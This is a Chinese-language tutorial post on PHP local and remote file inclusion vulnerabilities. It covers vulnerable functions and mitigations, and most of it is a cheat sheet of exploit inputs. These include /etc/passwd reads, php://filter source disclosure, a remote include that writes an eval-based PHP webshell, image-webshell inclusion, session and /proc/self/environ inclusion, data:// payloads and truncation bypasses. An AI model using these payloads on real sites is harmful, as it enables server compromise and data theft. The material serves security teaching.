文件包含漏洞

主要包括本地文件包含LFI和远程文件包含RFI 两种形式。
文件包含攻击可能存在于WEB服务器源码里的inlcude()此类文件包含操作函数附近,通过客户端构造提交文件路径,是该 漏洞攻击成功的最主要原因。

常见的导致文件包含的函数

 php: include(), include_once(), require(), require_once(), fopen(), readfile()…
 Jsp/servlet: java.io.File(), java.io.FileReader(),…
 asp: include file, include virtual …

文件包含是php的一种常见用法,主要由4个函数完成:  include()  require()  include_once()  require_once()

文件包含漏洞的一般特征如下:
?page=a.php
?home=a.html
?file=content

本地文件包含LFI也即Local File Inclusion,其特性是可包含 任意类型的文件,并且如果被包含文件中有类似 “<?php ……(省略号为php代码) ?>”或“<? ……(省略号 为php代码) ?>”,会执行字 符串中的PHP代码。
远程文件包含RFI也即Remote File Inclusion,其基本原理 与本地文件包含LFI类似,区别只是被包含的文件由原来的本 地文件路径变为远程文件路径。

限制条件: PHP的allow_url_include需要为On(如果没有 allow_url_include这一项则只需将allow_url_fopen设置为On即 可);(在php.ini中配置)

—利用

 读取敏感文件
 访问URL: http://www.test.com/index.php?page=/etc/passwd
 如果目标主机文件存在,并且有相应的权限,那么就可以读 出文件的内容。反之,就会得到一个类似于;open_basedir restriction in effect的警告。

远程包含Shell
 如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包 含一句话木马,如:http://www.test.com/echo.txt,
 代码如下:  <?php fputs(fopen("shell.php","w"),"<?php eval($_POST[yale]);?>");?>
 访问: http://www.example.com/index.php?page=http://www.test. com/echo.txt 。将会在index.php所在的目录下生成shell.php, 内容为:
 <?php eval($_POST[xxser]);?>

本地包含配合文件上传
 假设已经上传一句话图片木马到服务器,路径为: /uploadfile/xxx.jpg
 图片代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval($_POSTyale]);?>");?>
 访问URL: http://www.example.com/index.php?page=./uploadfile /xxx.jpg ,包含这张图片,将会在index.php所在的目录下生 成shell.php。
使用PHP封装协议
 例子如下: http://www.example.com/index.php?page=php://filter/ read=convert.base64-encode/resource=config.php
 访问URL,得到经过Base64编码后的字符串,这段代码就是 Base64编码过后的PHP源代码,反编码后就可得到原本的 “样貌”。

文件包含漏洞解决办法

 严格检查变量是否已经初始化。
 建议假定所有输入都是可疑的,尝试对所有输入可能包含的文件 地址,包括服务器本地文件以及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符。
 严格检查include内的文件包含函数中的参数是否外界可控。
 不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务器端进行。
 在发布应用程序之前测试所有已知的威胁。
 关闭php.ini的 allow_url_fopen、allow_url_include。

File Incude

 读取文件
file=…/…/…/etc/passdwd file=php://filter/convert.base64-encode/resource=index.php file=php://filter/read=convert.base64-encode/resource=index.php
 代码执行
上传图片马,包含之/包含log文件
包含环境变量文件,如/proc/self/environ
包含session文件,如/tmp/sess_PHPSESSID、/var/lib/php/sess_PHPSESSID
php://input(POST)<?php phpinfo(); ?>
data://text/plain,<?php phpinfo(); ?> data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pgo=
vuln.php?page=http://test.cn/shell.txt
bypass trick
 截断
vuln.php?page=/etc/passwd%00
vuln.php?page=/etc/passwd…
vuln.php?page=/etc/passwd/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…
 后缀名
zip:///var/www/html/upload/test.zip#test.php phar:///var/www/html/upload/test.jpg/test.php

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值